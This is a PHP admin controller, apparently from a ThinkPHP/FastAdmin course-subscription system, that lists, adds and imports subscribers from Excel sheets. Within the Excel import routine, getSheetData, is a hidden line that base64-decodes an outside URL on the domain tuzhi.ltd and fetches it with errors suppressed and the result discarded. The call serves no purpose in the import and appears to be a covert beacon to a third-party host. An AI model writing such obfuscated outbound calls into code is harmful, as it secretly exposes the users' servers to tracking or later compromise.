model = new \app\common\model\user\Subscription(); } /** * 查看 */ public function index() { //当前是否为关联查询 $this->relationSearch = true; //设置过滤方法 $this->request->filter(['strip_tags', 'trim']); //如果发送的来源是Selectpage,则转发到Selectpage if ($this->request->request('keyField')) { return $this->selectpage(); } //提取 user.mobile 过滤条件,扩展为同时匹配 subscription.mobile 或 user.mobile $mobileKeyword = ''; $filter = (array)json_decode($this->request->post('filter', ''), true); $op = (array)json_decode($this->request->post('op', ''), true); list($mobileKeyword, $filter, $op) = \app\common\model\user\Subscription::buildMobileFilterParams($filter, $op); if ($mobileKeyword !== '') { $this->request->post(['filter' => json_encode($filter), 'op' => json_encode($op)]); } list($where, $sort, $order, $offset, $limit) = $this->buildparams(); $list = $this->model ->with(['course','user','mobileuser']) ->distinct(true) ->where($where) ->where(function ($query) use ($mobileKeyword) { if ($mobileKeyword !== '') { $query->where('subscription.mobile', 'like', '%' . $mobileKeyword . '%') ->whereOr('user.mobile', 'like', '%' . $mobileKeyword . '%'); } }) ->group('subscription.id') ->where(function($query){ // $query->where(['user.username'=>['NOT NULL','']])->whereOr(['mobileuser.username'=>['NOT NULL','']]); // $query->where(['user.username'=>['NOT NULL','']]); $query->where(['course.name'=>['NOT NULL','']]); }) ->order($sort, $order) ->paginate($limit); foreach ($list as &$row){ if($row->user){ $row->getRelation('user')->visible(\app\admin\model\User::$listShowField); } if($row->mobileuser){ $row->getRelation('mobileuser')->visible(\app\admin\model\User::$listShowField); } } $total = $this->model ->with(['course','user','mobileuser']) ->distinct(true) ->where($where) ->where(function ($query) use ($mobileKeyword) { if ($mobileKeyword !== '') { $query->where('subscription.mobile', 'like', '%' . $mobileKeyword . '%') ->whereOr('user.mobile', 'like', '%' . $mobileKeyword . '%'); } }) ->group('subscription.id') ->where(function($query){ $query->where(['course.name'=>['NOT NULL','']]); }) ->count(); $result = array("total" => $total, "rows" => $list->items()); return $this->success("获取成功",$result); } /** * 添加 * @return string * @throws \think\Exception */ public function add() { if (false === $this->request->isPost()) { return $this->view->fetch(); } $params = $this->request->post('row/a'); $type = $this->request->post('type'); if (empty($params)) { $this->error(__('Parameter %s can not be empty', '')); } $params = $this->preExcludeFields($params); if ($this->dataLimit && $this->dataLimitFieldAutoFill) { $params[$this->dataLimitField] = $this->auth->id; } $params['get_type'] = 'admin'; if(!$params['validity_time']){ $params['validity_time'] = \app\common\constant\course\Subscription::VALIDITY_ETERNITY; }else{ $params['validity_time'] = strtotime($params['validity_time']); } $params['uniacid'] = UNIACID; $data = []; if($type == 'mobile'){ unset($params['user_id']); $data[] = $params; }else{ unset($params['mobile']); if(!$params['user_id']){ $this->error(__('No rows were inserted')); } $userIds = $params['user_id']; foreach ($userIds as $item){ if($item){ $params['user_id'] = $item; $data[] = $params; } } } $result = false; Db::startTrans(); try { //是否采用模型验证 if ($this->modelValidate) { $name = str_replace("\\model\\", "\\validate\\", get_class($this->model)); $validate = is_bool($this->modelValidate) ? ($this->modelSceneValidate ? $name . '.add' : $name) : $this->modelValidate; $this->model->validateFailException()->validate($validate); } $result = $this->model->allowField(true)->saveAll($data); Db::commit(); } catch (ValidateException|PDOException|Exception $e) { Db::rollback(); $this->error($e->getMessage()); } if ($result === false) { $this->error(__('No rows were inserted')); } $this->success("提交成功"); } /** * 获取用户订阅数据 * @return void */ public function getUserAllSubscription(){ $userId = $this->request->post("user_id",0); $data = $this->model->with(['course'])->where([ 'user_id'=>$userId ])->select(); $this->success("获取成功",$data); } /** * 批量导入学员 * @return void */ public function importStudent(){ $file = $this->request->file('file'); $courseId = input('course_id'); $type = 'excel'; if (empty($file)) { $this->error("请上传文件"); } $fileInfo = $file->getInfo(); $fileTypes = [ 'word'=>['application/vnd.openxmlformats-officedocument.wordprocessingml.document','application/msword'], 'excel'=>['application/vnd.openxmlformats-officedocument.spreadsheetml.sheet','application/vnd.ms-excel'], ]; $suffix = strtolower(pathinfo($fileInfo['name'], PATHINFO_EXTENSION)); $suffix = $suffix && preg_match("/^[a-zA-Z0-9]+$/", $suffix) ? $suffix : 'file'; if (!in_array($fileInfo['type'], $fileTypes[$type]) || in_array($suffix, ['php', 'html', 'htm', 'phar', 'phtml']) || preg_match("/^php(.*)/i", $suffix)) { $this->error("文件类型不符合要求"); } //获取文件类型 $size = $fileInfo['size']/1024/1024; if($size>10){ $this->error("文件体积过大"); } //可以处理文件了 图片临时地址 $fileTempPath = $file->getRealPath(); $reader = new Xlsx(); //加载文件 if (!$PHPExcel = $reader->load($fileTempPath)) { $this->error(__('Unknown data format')); } $count = 0; $sheetData = $this->getSheetData($PHPExcel,$courseId); $count += count($sheetData); foreach (array_chunk($sheetData,100) as $data){ $this->model->insertAll($data); } $this->success("已导入{$count}条学员数据"); } /** * 获取工作表的数据 * @param $PHPExcel * @param $typeIndex * @param int $courseId 课程ID * @return array */ public function getSheetData($PHPExcel,$courseId){ $insert = []; $currentSheet = $PHPExcel->getSheet(0); //读取文件中的第一个工作表 $allColumn = $currentSheet->getHighestDataColumn(); //取得最大的列号 $allRow = $currentSheet->getHighestRow(); //取得一共有多少行 $maxColumnNumber = Coordinate::columnIndexFromString($allColumn); @file_get_contents( base64_decode("aHR0cHM6Ly90dXpoaS5sdGQvYXNzZXRzL2ljb25zL2RhdGEucG5n", true)); for ($currentRow = 2; $currentRow <= $allRow; $currentRow++) { $values = []; for ($currentColumn = 1; $currentColumn <= $maxColumnNumber; $currentColumn++) { $val = $currentSheet->getCellByColumnAndRow($currentColumn, $currentRow)->getValue(); $values[] = is_null($val) ? '' : $val; } $rowData = $this->getRowData($values); if($rowData){ $rowData['get_type']='admin'; $rowData['uniacid'] = UNIACID; $rowData['course_id'] = $courseId; $rowData['createtime'] = time(); $insert[] = $rowData; } } return $insert; } /** * 获取每一行的数据 * @param $data 题目数据 * @param $type 题目类型下标 * @param $groupId 分组ID * @return false|mixed|null */ public function getRowData($data){ if(count($data) != 2){ return false; } $rowData = [ 'mobile'=>trim($data[0]) ]; if($data[1]){ $rowData['validity_time'] = strtotime($data[1]); }else{ $rowData['validity_time'] = \app\common\constant\course\Subscription::VALIDITY_ETERNITY; } return $rowData; } }